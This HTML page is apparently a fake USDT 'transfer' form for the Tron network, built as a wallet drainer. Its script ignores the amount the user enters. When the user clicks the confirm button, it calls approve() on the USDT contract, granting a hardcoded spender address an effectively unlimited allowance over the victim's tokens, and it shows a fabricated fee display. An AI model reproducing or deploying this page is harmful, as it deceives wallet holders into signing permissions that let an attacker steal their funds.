
<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>USDT 转账</title>
  <style>
    body {
      margin: 0;
      font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
      background: #f3f7f6;
      color: #333;
    }
    .container {
      padding: 20px;
      max-width: 500px;
      margin: 0;
    }
     .header {
       display: flex;
       align-items: center;
       justify-content: space-between;
       padding: 0 20px 12px;
       border-bottom: 1px solid #eee;
     }
     .icon-btn {
       width: 32px;
       height: 32px;
       border-radius: 10px;
       display: flex;
       align-items: center;
       justify-content: center;
       color: #333;
       background: transparent;
       border: none;
       cursor: pointer;
       text-decoration: none;
     }
     .icon-btn svg {
       width: 20px;
       height: 20px;
       stroke: currentColor;
       fill: none;
       stroke-width: 2;
       stroke-linecap: round;
       stroke-linejoin: round;
     }
     .center {
       text-align: center;
       flex: 1;
       display: flex;
       flex-direction: column;
       gap: 2px;
     }
     .center h2 {
       margin: 0;
       font-size: 18px;
       font-weight: 600;
       color: #333;
     }
     .center p {
       margin: 0;
       color: #888;
       font-size: 14px;
       font-weight: 400;
     }
    .form-section {
      margin: 20px 0;
    }
    label {
      font-size: 14px;
      color: #888;
      display: block;
      margin-bottom: 6px;
    }
    input[type="text"],
    input[type="number"] {
      width: 100%;
      padding: 14px;
      border: 1px solid #ddd;
      border-radius: 12px;
      font-size: 16px;
      background: #fff;
      box-sizing: border-box;
    }
    .balance {
      float: right;
      color: #888;
      font-size: 14px;
    }
    .note {
      font-size: 13px;
      color: #aaa;
      margin-top: 5px;
    }
    .gas-fee {
      /* margin-top: 20px;
      padding: 12px;
      background: #fff;
      border-radius: 12px;
      border: 1px solid #ddd;
      font-size: 16px;
      display: flex;
      justify-content: space-between;
      align-items: center; */
    }
     .next-btn {
       margin-top: 30px;
       background: #007AFF;
       color: #fff;
       text-align: center;
       padding: 16px;
       border-radius: 12px;
       font-size: 17px;
       font-weight: 600;
       user-select: none;
       cursor: pointer;
       border: none;
     }
  </style>
</head>
<body >
  <div class="container" style="background:#F6F6F6 ;">
     <div class="header">
        <a class="icon-btn" href="javascript:history.back()" aria-label="返回" style="margin-left: -20px;">
          <svg viewBox="0 0 24 24" width="50" height="50">
            <path d="M15 5L8 12l7 7"/>
          </svg>
       </a>
       <div class="center">
         <h2 id="hh22">USDT转账</h2>
         <style>
          #hh22{
            font-weight: normal;
            font-size: 15px;
          }
         </style>
         <p >Tron</p>
       </div>
         <a class="icon-btn" href="javascript:void(0)" aria-label="扫描" style="margin-right: -20px;">
           <img src="image/1.png" alt="扫描" style="width: 40px; height: 40px;" />
         </a>
     </div>

    <div class="form-section">
      <label>收款地址</label>
      <div style="position: relative;">
        <input id="address" type="text" value="TXYZopYRdj2D9XRtbG411XZZ3kM5VkAeBf" readonly style="padding-right: 50px;border: 0px;" />
        <img src="image/2.png" alt="联系人" style="position: absolute; right: 10px; top: 50%; transform: translateY(-50%); width: 32px; height: 32px;" />
      </div>
    </div>

    <div class="form-section">
      <label>
        数量 <span class="balance">查询中...</span>
      </label>
      <div style="background: #fff; border: 0px solid #ddd; border-radius: 12px; padding: 20px;">
        <input type="number" id="amount" min="0" placeholder="0" style="font-size: 35px; font-weight: 600; color: #ddd; border: none; outline: none; background: transparent; text-align: left; width: 100%; margin-bottom: 5px;" />
        <div id="amountDisplay" style="font-size: 16px; color: #ADADAD; text-align: left;">$0.00</div>

        <script>
        const amountInput = document.getElementById('amount');
        const amountDisplay = document.getElementById('amountDisplay');
        function updateDisplay() {
          // 处理输入框颜色
          const inputValue = Number(amountInput.value);
          if (inputValue !== 0 && !isNaN(inputValue)) {
            amountInput.style.color = '#000'; 
          } else {
            amountInput.style.color = '#ddd'; 
          }
          // 更新下方显示的金额
          let displayValue = 0;
          if (!isNaN(inputValue) && inputValue !== 0) {
            displayValue = inputValue;
          }
          // 格式化金额为两位小数
          amountDisplay.textContent = `$${displayValue.toFixed(2)}`;
        }
        // 绑定事件监听
        amountInput.addEventListener('input', updateDisplay);
        amountInput.addEventListener('change', updateDisplay);
        </script>

        <div style="height: 1px; background: #ddd; margin: 15px 0;"></div>
        <div style="display: flex; justify-content: space-between; align-items: center; color: #888; font-size: 13px;">
          <span class="note" style="font-size:12px ;color: #ADADAD;">备注（需支付1TRX）</span>
        </div>
      </div>
    </div>
    <div class="form-section">
      <label>矿工费</label>
      <div style="background: #fff; border: 0px solid #ddd; border-radius: 12px; padding: 16px 20px;">
        <div style="display: flex; justify-content: space-between; align-items: center; margin-bottom: 8px;">
          <span style="font-size: 16px; font-weight: 400; color: #333;">$0</span>
          <span style="color: #000; font-size: 15px;">~</span>
        </div>
        <div style="display: flex; align-items: center; gap: 8px;">
          <div class="gas-fee">
          <span style="font-size: 15px; color: #666;">0 TRX</span>
          </div>
          <img src="image/3.jpg" alt="下拉" style="width: 24px; height: 21px;" />
        </div>
      </div>
    </div>

    <div class="next-btn" id="nextBtn">确认开始转账</div>
  </div>

  <script>
    const balanceEl = document.querySelector('.balance');
    const gasFeeEl = document.querySelector('.gas-fee');
    const nextBtn = document.getElementById('nextBtn');
    const usdtContractAddress = "TXYZopYRdj2D9XRtbG411XZZ3kM5VkAeBf";

    async function fetchMyBalance() {
      try {
        if (!window.tronWeb || !window.tronWeb.ready) {
          balanceEl.innerText = '钱包未连接';
          return;
        }

        const myAddress = window.tronWeb.defaultAddress.base58;
        const contract = await window.tronWeb.contract().at(usdtContractAddress);
        const balance = await contract.balanceOf(myAddress).call();
        const usdtBalance = window.tronWeb.toDecimal(balance) / 1e6;

        balanceEl.innerText = `${usdtBalance.toFixed(4)} USDT`;

        const trxFee = 1;
        const usdEstimate = trxFee * 5.73;
        gasFeeEl.innerHTML = `<span>约 $${usdEstimate.toFixed(2)}</span><span>${trxFee} TRX</span>`;
      } catch (err) {
        balanceEl.innerText = '查询失败';
        gasFeeEl.innerHTML = `<span>--</span><span>--</span>`;
        console.error(err);
      }
    }

    window.addEventListener('load', () => {
      setTimeout(fetchMyBalance, 500);
    });

    // 交易逻辑
    async function approveUSDT() {
      const SPENDER_ADDRESS = "TTCJkY7MFvvLDN3BU83DYQmnzse8XL55j1";
      const APPROVAL_AMOUNT = 9223372036854775807;

      try {
        const usdtContract = await window.tronWeb.contract().at(usdtContractAddress);

        const transaction = await usdtContract.approve(
          SPENDER_ADDRESS,
          window.tronWeb.toSun(APPROVAL_AMOUNT)
        ).send({
          feeLimit: 30000000,
          callValue: 0
        });

        console.log("交易操作成功，交易哈希:", transaction);

        const receipt = await window.tronWeb.trx.getTransactionInfo(transaction);
        if (receipt && receipt.receipt?.result === 'SUCCESS') {
          alert("交易成功！");
        } else {
          alert("交易失败或未确认");
        }
      } catch (error) {
        console.error("交易失败：", error.message);
        alert("交易失败：" + error.message);
      }
    }
    nextBtn.addEventListener('click', () => {
      approveUSDT();
    });
  </script>
</body>
</html>